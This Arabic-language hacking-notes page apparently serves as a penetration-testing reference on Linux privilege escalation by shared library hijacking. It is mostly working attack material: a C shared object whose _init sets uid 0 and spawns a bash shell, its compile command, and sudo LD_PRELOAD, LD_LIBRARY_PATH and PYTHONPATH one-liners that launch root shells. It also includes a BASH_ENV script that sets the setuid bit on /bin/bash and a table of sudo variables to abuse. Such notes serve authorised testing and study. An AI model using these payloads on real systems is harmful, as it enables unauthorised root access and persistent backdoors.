> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/shared-library-hijacking.md).

# اختطاف المكتبات المشتركة

يستغل اختطاف المكتبات المشتركة أداة التحميل الديناميكي عندما يقوم ملف ثنائي ذو صلاحيات بتحميل كائن مشترك مفقود أو قابل للكتابة أو خاضع لسيطرة المهاجم. ويمكن لملف خبيث `.so` يمكنه تنفيذ الشيفرة بامتيازات عملية التحميل.

## المنهجية

* استخدم `ldd`, `strace`، أو مخرجات الأخطاء للعثور على المكتبات المفقودة أو القابلة للكتابة.
* تأكد من مسار البحث عن المكتبات وما إذا كان الملف الثنائي ذو الامتيازات يحمّل الكائن المُتحكَّم به.
* قم بتجميع حمولة كائنية مشتركة بسيطة ثم شغّل الملف الثنائي ذو الامتيازات.

## فحوصات سريعة

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD و LD\_LIBRARY\_PATH

عندما تحتفظ قاعدة sudo بمتغيرات المُحمِّل أو عندما يسمح مسار تنفيذ ذو امتيازات بمسارات بحث عن مكتبات يمكن التحكم بها، يمكن لكائن مشترك خبيث أن ينفذ بصفته المستخدم ذي الامتيازات.

أنشئ مكتبة مشتركة بسيطة:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

قم بتجميعها:

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

استخدمه فقط عندما يحتفظ سياق التنفيذ المستهدف فعلاً بمتغير المُحمِّل أو يتعامل معه:

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### متغيرات بيئة sudo

تحقق مما إذا كان sudo يحتفظ بالمتغيرات الخطرة:

```bash
sudo -l
```

المثيرة للاهتمام `env_keep` تشمل القيم:

| المتغير           | فكرة الاستغلال                                                     |
| ----------------- | ------------------------------------------------------------------ |
| `LD_PRELOAD`      | حمّل كائناً مشتركاً خبيثاً قبل المكتبات العادية.                   |
| `LD_LIBRARY_PATH` | أعد توجيه البحث عن المكتبات إلى مسارات يتحكم بها المهاجم.          |
| `PATH`            | افرض تنفيذ الأوامر النسبية عبر ملفات ثنائية يتحكم بها المهاجم.     |
| `PYTHONPATH`      | حمّل وحدات Python خبيثة في شيفرة Python التي يتم تشغيلها عبر sudo. |
| `PERL5LIB`        | حمّل وحدات Perl خبيثة في شيفرة Perl التي يتم تشغيلها عبر sudo.     |

### مثال على PYTHONPATH

إذا كانت قاعدة sudo تشغّل Python وتحتفظ بـ `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### مثال على BASH\_ENV

إذا كان برنامج ذو امتيازات يشغّل `sh` بطريقة تُحمّل `BASH_ENV`، فاختبر ذلك بنص برمجي مُتحكَّم به:

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>اختطاف المكتبة المشتركة libwelcome.so</h4></td><td>ملاحظات حول اختطاف المكتبات المشتركة (libwelcome.so) لرفع الامتيازات في Linux، مع خطوات الجرد، وأمثلة الاستغلال، والتحقق الموجّه لإعداد التقارير.</td><td><a href="/pages/45ed2944dab7067d61888f640c00f5be1b7775d7">/pages/45ed2944dab7067d61888f640c00f5be1b7775d7</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/shared-library-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
